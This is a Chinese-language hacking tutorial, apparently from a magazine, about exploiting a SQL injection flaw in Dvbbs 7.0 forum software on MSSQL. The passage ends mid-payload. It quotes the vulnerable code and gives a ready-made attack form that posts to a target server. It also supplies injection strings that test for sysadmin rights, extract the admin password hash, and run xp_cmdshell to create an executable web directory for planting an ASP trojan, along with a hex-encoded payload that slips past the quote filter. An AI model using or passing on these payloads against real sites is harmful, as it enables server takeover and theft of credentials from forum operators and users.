动网论坛7.0自从发布以来进一步扩大了其在asp论坛领域的声誉和好评,无论是在美工、性能、安全性和效率上都比上一个版本有了很大的进步。在读代码的时候给我的唯一感觉就是——美。但是世上没有不透风的墙啊,代码写得再严谨也是会有疏忽的时候。为了找出它的漏洞,我就像是大海捞针一样在茫茫的代码中寻觅,蓦然回首那人却在灯火阑珊处。请跟着我来看一看吧。第一篇 发现新大陆CODE 打开AccessTopic.asp文件,翻到第200-212行,内容为:……Sub freetopic()……For i=1 to request.form("Announceid").countID=replace(request.form("Announceid")(i),"'","")'删除If request("actiontype")=2 ThenSet Rs=Dvbbs.Execute("select rootid from "&Dvbbs.NowUsebbs&" where parentid=0 And Announceid="&id)If not (rs.eof And rs.bof) ThenDvbbs.Execute("delete from dv_topic where topicid="&rs(0))Dvbbs.Execute("delete from "& Dvbbs.NowUsebbs &" where rootid="&rs(0))FoundID=rs(0)ElseDvbbs.Execute("delete from "&Dvbbs.NowUsebbs&" where Announceid="&id)FoundID=0End If……很明显对request.form("Announceid")的值只进行了单引号的过滤,幸好在SQL语句里面不是作为字符串使用,要不然就没有玩的了。要想突破这个单引号的限制非常简单,只要把我们需要用到的字符串用SQL Encoder进行转换一下就可以直接使用了。其基本原理就是在MSSQL中自动的将varbinary类型的数据转换为varchar类型数据,然而这一点在asp中一般是无法分辨出来的。在接下来的操作中涉及到字符串的部分为了便于理解,我保留了原文。在实际操作中请用SQL Encoder进行转换一下,除非特殊情况不作说明。第二篇 动网论坛的小鞋这个文件在动网论坛中是各项用于待审核帖子的操作,发现漏洞的过程为删除待审核帖子(request("actiontype")=2)。但是这项功能只有在开放某一个版面的帖子审核功能的时候才可能用到,而且只有斑竹才能使用,其标志变量为在数据中的Dv_Board.BoardSetting列第4个数。由于此功能默认是关闭的,大部分论坛也不会用到,所以将其评为低危险程度的漏洞。在利用的时候我们可以想像得到Access数据库的功能低下,就仿佛是一个弱智一样,也就没有什么利用价值了,因此我只讨论使用MSSQL数据库的情况。你可能会想,既然如此不就可以利用报错得到管理员的密码德md5密文了吗,这可就错了。在论坛中每一个SQL语句的执行都是通过Dvbbs.Execute这个过程来实现的,相关代码可以在inc\Dv_ClsMain.asp中找到,在这个过程中过滤了dv_admin关键字,起初的时候我还想过用特殊的方法去构造语句,但是全部失败,如果你有什么办法成功了可别忘记告诉我啊。由于Announceid是用request.form取得,再利用的时候就要构造本地提交表单,其内容为:CODE <form action="http://目标服务器地址及相对路径/accesstopic.asp?action=freetopic" method=post name=batch><input type=hidden value="修改为打开审核功能版面的boardid值" name=boardid><input name="actiontype" value="2" type=hidden><textarea name="Announceid" cols="100" rows="20" id="Announceid"></textarea><input name=submit value="执行" type=submit></form>只要在满足上述条件的情况下,将表单中的值设置好之后就可以往下看了。第三篇 让我们知道自己的权力在取得绝对路径之前先要判断当前数据库用户的权限,这里就遇到了一个问题,无论我们提交的语句是否成立,只要不产生错误,返回的信息都是相同的。你可能已经想到了,就是要将Announceid的值设置为一个已经存在的待审核帖子,在提交成功之后,如果这个帖子已经被删除就说明我们的条件是正确的,否则就是错误的。在这里为了方便,假设每次执行都使用已经存在的boardid=1帖子。由于在数据库的所有权限中只有sysadmin才有利用价值,所以只需判断他就可以了。打开我们刚才构造的那个表单,并在另外一个页面中用该版版主账号登陆,下面的操作都是在这种条件下完成的,因此不再提及。因此在textarea中填入:1 and 1=(select is_srvrolemember('sysadmin'))提交后根据上面提到的判断条件就可知道结果了。同样也可以利用这种方法来判断是否存在xp_cmdshell存储扩展,提交语句为1 and 1=( select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell')如果没有该权限的话就只能利用报错看一看前台管理员的密码了,需要提交的语句为:1 and 1=(select top 1 UserPassword from Dv_User where UserGroupID=1)如果你想让自己在论坛里面的权限得到提升的话就去破解这个md5密文吧——据说非常困难。然而在具有sysadmin权限的情况下就相当于得到了服务器的绝对控制权——在操作系统中以system权限执行。接着往下看我是怎么利用该权限的吧。第四篇 寻找罗马大路在第2004.3期上臭要饭的提到用xp_regread存储扩展读取注册表的方法来获得web绝对路径,但是经过我的测试后发现这种方法只能得到web服务器安装时的默认路径,如果管理员够聪明的话肯定会进行修改这个值的,那就会导致上传asp木马的失败。我想你可能以体会到过这种情况吧。现在换个思路考虑,既然不能得到这个路径,那就在服务器上用我们制定的路径建一个虚拟目录问题不就迎刃而解了吗?经过我的测试提交下面的语句可以实现这个操作:1;exec('master.dbo.xp_cmdshell ''cscript C:\Inetpub\AdminScripts\mkwebdir.vbs -c localhost -w "1" -v "win","c:\winnt\"''')exec('master.dbo.xp_cmdshell ''cscript C:\Inetpub\AdminScripts/adsutil.vbs set w3svc/1/root/win/AccessExecute True''')这样就在默认服务器下面建立了一个名为win的虚拟目录,其绝对路径为c:\winnt\,并且具有执行动态脚本的权限,关于mkwebdir.vbs和adsutil.vbs的使用方法可以参考微软的MSDN它比我讲得明白。现在你可以通过访问http://www.sitename.com/win/来判断是否创建成功:返回403错误说明创建成功,返回500错误说明创建失败。你也许会发现一个问题,在使用SQL Encoder编码后提交语句没有一次成功过,难道语句有错误吗?但是如果你在查询分析器内测试的话他会成功地执行,问题出在数据类型转换的问题上。在MSSQL中exec函数不能进行我们要求的这种数据类型转换,因此需要一步另外的操作。正确的提交代码为:CODE 1;declare @a nvarchar(255);select @a=0x6d00610073007400650072002e00640062006f002e00780070005f0063006d0064007300680065006c006c00200027006300730063007200690070007400200063003a005c0069006e006500740070007500